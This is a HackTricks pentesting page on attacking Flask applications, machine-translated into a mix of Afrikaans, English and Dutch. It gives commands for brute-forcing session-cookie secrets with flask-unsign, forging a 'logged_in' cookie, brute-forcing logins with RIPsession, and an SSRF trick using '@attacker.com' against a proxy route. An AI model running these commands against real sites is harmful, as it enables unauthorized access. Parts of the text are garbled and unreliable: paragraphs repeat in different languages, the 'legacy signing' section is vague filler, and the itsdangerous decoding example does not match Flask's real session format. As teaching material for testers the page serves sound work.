hacktricks/network-services-pentesting/pentesting-web/flask.md
2024-02-11 02:07:06 +00:00

9.8 KiB

Flask

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Gebruik Trickest om maklik werkstrome te bou en outomatiseer met behulp van die wêreld se mees gevorderde gemeenskapsinstrumente.
Kry vandag toegang:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Waarskynlik, as jy 'n CTF speel, sal 'n Flask-toepassing verband hou met SSTI.

Koekies

Die verstek koekiesessienaam is session.

Decoder

Aanlyn Flask-koekiesontleder: https://www.kirsle.net/wizards/flask-session.cgi

Handleiding

Kry die eerste deel van die koekie tot by die eerste punt en dekodeer dit met Base64>

echo "ImhlbGxvIg" | base64 -d

Die koekie word ook onderteken met behulp van 'n wagwoord

Flask-Unsign

Opdraglyninstrument om sessiekoekies van 'n Flask-toepassing te haal, te ontsyfer, te kragteloos te maak en te skep deur geheime sleutels te raai.

{% embed url="https://pypi.org/project/flask-unsign/" %}

pip3 install flask-unsign

Dekodeer Koekie

To decode a Flask cookie, you can use the itsdangerous library. This library provides a URLSafeSerializer class that allows you to serialize and deserialize data in a secure way.

Here's an example of how you can decode a Flask cookie using itsdangerous:

from itsdangerous import URLSafeSerializer

def decode_cookie(cookie_value, secret_key):
    serializer = URLSafeSerializer(secret_key)
    try:
        decoded_data = serializer.loads(cookie_value)
        return decoded_data
    except Exception as e:
        print(f"Error decoding cookie: {e}")
        return None

In the code above, the decode_cookie function takes the cookie value and the secret key as parameters. It creates an instance of the URLSafeSerializer class with the secret key, and then uses the loads method to decode the cookie value. If an error occurs during the decoding process, it will print an error message and return None.

Remember to replace secret_key with the actual secret key used to sign the cookie.

You can use this function to decode Flask cookies and extract the data stored in them. However, keep in mind that decoding a cookie does not guarantee the integrity or authenticity of the data. It is always recommended to validate and sanitize the data before using it.

flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'

Brute Force

Brute Krag

flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval

Ondertekening

Signing is a process used to ensure the integrity and authenticity of data. In the context of web applications, signing is often used to prevent tampering with data sent between the client and the server.

Ondertekening is 'n proses wat gebruik word om die integriteit en egtheid van data te verseker. In die konteks van webtoepassings word ondertekening dikwels gebruik om te voorkom dat data wat tussen die kliënt en die bediener gestuur word, gewysig word.

When a client sends a request to the server, the server can sign the response using a secret key. This signature is then sent back to the client along with the response. The client can verify the integrity of the response by recalculating the signature using the same secret key and comparing it to the received signature.

Wanneer 'n kliënt 'n versoek na die bediener stuur, kan die bediener die antwoord onderteken deur 'n geheime sleutel te gebruik. Hierdie handtekening word dan saam met die antwoord terug na die kliënt gestuur. Die kliënt kan die integriteit van die antwoord verifieer deur die handtekening opnuut te bereken met dieselfde geheime sleutel en dit te vergelyk met die ontvangde handtekening.

Signing can also be used to authenticate the source of the data. By using a secret key known only to the server, the client can trust that the response came from the legitimate server and has not been tampered with.

Ondertekening kan ook gebruik word om die bron van die data te verifieer. Deur 'n geheime sleutel te gebruik wat slegs aan die bediener bekend is, kan die kliënt vertrou dat die antwoord van die regmatige bediener afkomstig is en nie gewysig is nie.

flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'

Ondertekening met behulp van oude (verouderde versies)

In sommige gevallen kan het nodig zijn om een applicatie te hacken die gebruikmaakt van een verouderde versie van Flask. Deze oudere versies kunnen kwetsbaarheden bevatten die kunnen worden misbruikt om toegang te krijgen tot de applicatie.

Een van de mogelijke aanvalstechnieken is het ondertekenen van gegevens met behulp van een verouderde versie van Flask. Deze techniek maakt gebruik van een zwakke handtekeningmethode die kan worden misbruikt om de handtekening te vervalsen en ongeautoriseerde toegang te verkrijgen.

Om deze techniek toe te passen, moet je eerst de versie van Flask identificeren die wordt gebruikt door de applicatie. Dit kan worden gedaan door de HTTP-responsheaders te controleren of door de broncode van de applicatie te analyseren.

Zodra je de versie hebt geïdentificeerd, kun je de juiste exploit gebruiken om de handtekening te vervalsen. Dit kan worden gedaan door de zwakke punten in de handtekeningmethode van de verouderde Flask-versie te benutten.

Het is belangrijk op te merken dat deze techniek alleen van toepassing is op oudere versies van Flask en mogelijk niet werkt op recentere versies. Het is altijd raadzaam om de nieuwste versie van Flask te gebruiken om mogelijke beveiligingslekken te voorkomen.

flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy

RIPsession

Opdraglyninstrument om webwerwe te brute-force met behulp van koekies wat met flask-unsign saamgestel is.

{% embed url="https://github.com/Tagvi/ripsession" %}

ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt

SQLi in Flask-sessiekoekie met SQLmap

Hierdie voorbeeld gebruik die sqlmap eval opsie om outomaties sqlmap payloads te onderteken vir Flask deur gebruik te maak van 'n bekende geheim.

Flask Proxy na SSRF

In hierdie uiteensetting word verduidelik hoe Flask 'n versoek toelaat wat begin met die karakter "@":

GET @/ HTTP/1.1
Host: target.com
Connection: close

Watter een van die volgende scenario's:

from flask import Flask
from requests import get

app = Flask('__main__')
SITE_NAME = 'https://google.com/'

@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def proxy(path):
return get(f'{SITE_NAME}{path}').content

app.run(host='0.0.0.0', port=8080)

Kan toelaat om iets soos "@attacker.com" in te voer om 'n SSRF te veroorsaak.

Gebruik Trickest om maklik werkstrome te bou en outomatiseer met behulp van die wêreld se mees gevorderde gemeenskapsinstrumente.
Kry vandag toegang:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun: